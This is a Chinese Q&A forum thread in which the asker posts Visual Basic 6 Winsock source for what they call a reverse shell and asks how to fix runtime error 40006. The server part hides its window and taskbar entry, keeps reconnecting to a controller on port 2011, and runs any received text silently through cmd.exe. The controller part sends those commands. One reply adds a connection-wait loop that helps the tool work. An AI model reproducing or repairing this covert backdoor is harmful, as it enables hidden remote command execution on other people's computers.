Winsock控件 实时错误“40006”

一个反弹shell吧。。但是生成时候一直报40006错误。。各位看看怎么修改服务端:PrivateSubForm_Load()OnErrorResumeNextMe.Vi... 一个反弹shell吧。。
但是生成时候一直报40006错误。。各位看看怎么修改
服务端:
Private Sub Form_Load()
On Error Resume Next
Me.Visible = False
App.TaskVisible = False
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_Close()
On Error GoTo err
err:
Winsock1.Close
Winsock1.RemoteHost = Winsock1.LocalIP
Winsock1.RemotePort = 2011
Winsock1.Connect
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim a As String
Winsock1.GetData a
Shell "cmd.exe /c " & a & " & exit", 0
Winsock1.SendData Winsock1.LocalIP & " 命令: " & a & " 执行成功!"
End Sub

控制端:
Private Sub Command1_Click()
Winsock1.Close
Winsock1.RemoteHost = Text1.Text
Winsock1.SendData Text2.Text
End Sub
Private Sub Form_Load()
Winsock1.LocalPort = 2011
Winsock1.Listen
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State <> 0 Then: Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Winsock1.Close
Dim str As String
Winsock1.GetData str
List1.AddItem str
End Sub
展开
 我来答
然后去远足
2013-09-23 · TA获得超过1万个赞
知道大有可为答主
回答量:4016
采纳率:83%
帮助的人:2364万
展开全部

用的 TCP 协议吗?

用TCP发送消息,就必须先于对方建立连接,对方必须先同意,才能发送消息,否则就会出现40006错误。

 

在窗体模块的最上面加上API声明

Private Declare Sub Sleep Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long)

在第一次 SendData 之前加上:

Dim i As Long
Do Until Winsock1.State = 7 Or i > 600  
    i = i + 1
    DoEvents
    Sleep
Loop

If i >= 600 Or Winsock1.State = 7 Then
    ' 1分钟后,对方仍然未同意,连接超时.
End If


然后再进行 SendData

qzcpl1020
2013-09-23
知道答主
回答量:11
采纳率:0%
帮助的人:6.1万
展开全部
描述不是很清楚,应该不是在生成EXE报错吧!
追问
就是说。控件和代码输入后。。。成功生成了。但是在测试连接的时候报“40006”
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式